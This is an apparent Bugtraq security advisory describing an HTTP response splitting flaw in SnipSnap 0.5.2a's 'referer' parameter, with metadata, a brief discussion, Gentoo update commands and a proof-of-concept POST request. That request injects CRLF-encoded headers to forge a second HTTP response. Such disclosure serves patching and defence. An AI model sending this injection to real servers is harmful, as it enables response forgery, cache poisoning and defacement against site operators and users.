SnipSnap HTTP Response Splitting Vulnerability

BID:11180

Info

SnipSnap HTTP Response Splitting Vulnerability

Bugtraq ID: 11180
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Sep 14 2004 12:00AM
Updated: Sep 14 2004 12:00AM
Credit: Discovery is credited to "Maestro De-Seguridad" <[email protected]>.
Vulnerable: SnipSnap SnipSnap 0.5.2 a
Not Vulnerable: SnipSnap SnipSnap 1.0 b1

Discussion

SnipSnap HTTP Response Splitting Vulnerability

SnipSnap is reported prone to an HTTP response splitting vulnerability. The issue exists in the 'referer' parameter. The issue presents itself due to a flaw in the application that allows an attacker to manipulate how POST requests are handled.

This issue was identified in SnipSnap 0.5.2a and prior.

Exploit / POC

SnipSnap HTTP Response Splitting Vulnerability

The following proof of concept example is available:
POST /exec/authenticate HTTP/1.0
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-length: 197

referer=abc%0d%0aConnection:%20keep-alive%0d%0aContent-Length:%200%0d%0a%0d%
0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:20%0d%
0a%0d%0a<html>0wned!!</html>&cancel=cancel

Solution / Fix

SnipSnap HTTP Response Splitting Vulnerability

Solution:
Gentoo has released updates that may be applied with the following commands:
emerge sync
emerge -pv ">=dev-java/snipsnap-bin-1.0_beta1"
emerge ">=dev-java/snipsnap-bin-1.0beta1"

SnipSnap 1.0b1 is available to address this issue:


SnipSnap SnipSnap 0.5.2 a

References

SnipSnap HTTP Response Splitting Vulnerability

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